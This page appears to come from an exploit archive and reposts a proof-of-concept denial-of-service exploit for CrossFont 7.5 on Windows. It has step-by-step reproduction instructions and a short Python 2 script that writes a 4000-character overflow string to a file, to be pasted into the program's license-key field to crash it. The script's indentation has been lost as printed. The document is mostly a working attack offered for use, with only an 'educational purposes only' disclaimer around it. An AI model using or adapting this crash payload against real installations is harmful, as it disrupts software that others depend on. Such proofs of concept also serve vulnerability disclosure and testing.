Crossfont 7.5 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-09-26 | Type : dos | Platform : windows_x86
This exploit / vulnerability Crossfont 7.5 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: CrossFont 7.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-26
# Software Link: http://www.acutesystems.com/cfnt/cfsetup.exe
# Tested Version: 7.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Enter Key"
# Now paste the contents of "exploit.txt" into the fields:"License Key/Code"
# Click "OK" and you will see a crash.

#!/usr/bin/python

buffer = "A" * 4000

payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"